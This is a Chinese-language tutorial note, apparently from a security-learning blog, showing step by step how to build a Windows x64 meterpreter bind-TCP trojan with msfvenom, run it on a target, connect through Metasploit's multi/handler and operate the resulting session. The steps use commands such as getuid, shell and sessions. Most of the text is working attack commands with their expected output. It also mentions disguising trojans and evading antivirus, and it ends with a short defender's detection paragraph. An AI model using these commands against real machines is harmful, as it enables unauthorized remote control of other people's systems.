【免责声明】 本文档所涉及的技术、思路和工具,仅供网络安全学习、交流与防御研究使用。请勿用于任何未经授权的非法渗透测试或破坏行为。任何未经授权对真实目标系统进行扫描、探测、攻击的行为均属于违法犯罪。网络空间安全需要大家共同维护,请坚守白帽底线。
核心思想:本笔记基于完整的 MSF (Metasploit Framework) 正向木马实战过程。正向连接(Bind TCP)的核心逻辑是:木马在靶机运行后开启端口监听,攻击机主动去连接该端口。整个过程分为:生成木马 → 靶机运行 → 配置监听器 → 发起连接 → 后渗透控制。
步骤一:生成正向木马(Kali 攻击机)
使用 msfvenom 生成一个针对 64 位 Windows 系统的正向连接可执行文件。
msfvenom -p windows/x64/meterpreter/bind_tcp lhost=0.0.0.0 lport=5555 -f exe -o ./msf_5555_b.exe

命令逐项注释:
-
-p windows/x64/meterpreter/bind_tcp:指定 Payload。使用高级远控载荷 meterpreter,连接方式为正向 bind_tcp。
-
lhost=0.0.0.0:监听地址。在 bind 模式下,木马会在靶机上监听所有网卡。
-
lport=5555:木马在靶机上监听的端口号。
-
-f exe:指定输出文件格式为 Windows 可执行文件。
-
-o ./msf_5555_b.exe:指定输出路径和文件名。
步骤二:在靶机运行木马
将生成的 msf_5555_b.exe 投递到 Windows 靶机上并双击运行。 验证运行:通过靶机的任务管理器(Task Manager)可以看到 msf_5555_b.exe 进程正在运行。这意味着靶机已经在内部静默开启了 5555 端口的监听。

步骤三:配置 MSF 监听器并发起连接(Kali 攻击机)
打开 Kali 终端,启动 MSF 控制台并配置接收端(由于是正向连接,实际上是我们去连靶机)。
# 启动 MSF 控制台
msfconsole
# 使用通用的监听/接收模块
use exploit/multi/handler
# 【核心避坑】必须设置与生成木马时完全一致的 Payload
set payload windows/x64/meterpreter/bind_tcp
# 查看当前需要配置的参数
show options
解析 show options 的返回结果:
-
LPORT:默认可能是 4444,需要修改为木马监听的 5555 端口。
-
RHOST:目标地址(即靶机的 IP),因为我们要主动去连它。
# 设置靶机开启的监听端口
set lport 5555
# 设置靶机的 IP 地址
set rhost <靶机IP>
# 再次确认配置,确保无误
options
# 开始发起连接
run
终端回显解析(成功标志):
-
Started bind TCP handler against <靶机IP>:5555:表明监听器已就绪并开始尝试连接。
-
Sending stage (200774 bytes)…:表明连接建立成功,正在将 Meterpreter 的核心载荷发送到靶机。
-
Meterpreter session 1 opened:成功获取会话!
步骤四:后渗透控制与操作(Meterpreter 会话)
此时终端提示符变成了 meterpreter >,我们已经接管了目标机器。
# 查看当前获取的权限身份
getuid
# 返回:Server username: DESKTOP-xxxx\\<用户名> (确认当前权限)
# 进入目标系统的原生 CMD 命令行
shell
# 【重点】修改目标系统的代码页(解决乱码问题)
# Windows 默认是 GBK (936),切换为 UTF-8 (65001) 可解决中文乱码
chcp 65001
# 退出 CMD,返回 Meterpreter
exit
# 将当前会话放入后台(Backgrounding)
bg
# 查看当前所有的后台会话列表
sessions
# 返回 Active sessions 列表,记录了 ID、类型、连接方向等信息。
# 根据 ID 重新进入指定的会话(例如 ID 为 1)
sessions -i 1
总结与防坑指南
正向与反向的配置差异:
-
正向木马(bind)监听时,RHOST 必须填靶机 IP,因为是我们主动连它。
-
反向木马(reverse)监听时,LHOST 必须填 Kali 本机 IP,RHOST 一般留空(因为是靶机主动连过来)。
防火墙拦截是最大痛点:正向木马要求靶机开放端口。如果 Windows 靶机防火墙开启(默认拦截入站),上述 run 操作会一直卡住或连接失败。实战中,反向 Shell 穿透防火墙的成功率远高于正向 Shell。
Payload 一致性法则:msfvenom 生成了什么 Payload,multi/handler 里 set payload 就必须一字不差地填什么,否则永远无法获取 session。
隐蔽性极差:任务管理器可以直接看到名为 msf_5555_b.exe 的可疑进程,甚至防火墙会弹窗提示。真实的红队攻防中,通常会对木马进行伪装和免杀处理。
蓝队防守视角:防守方可以通过监控内网主机异常的端口监听(如收到非业务主机的 5555 端口监听告警),或者通过 EDR 监控可疑二进制文件的执行(如非正常路径下的 exe 文件)来及时发现此类攻击。

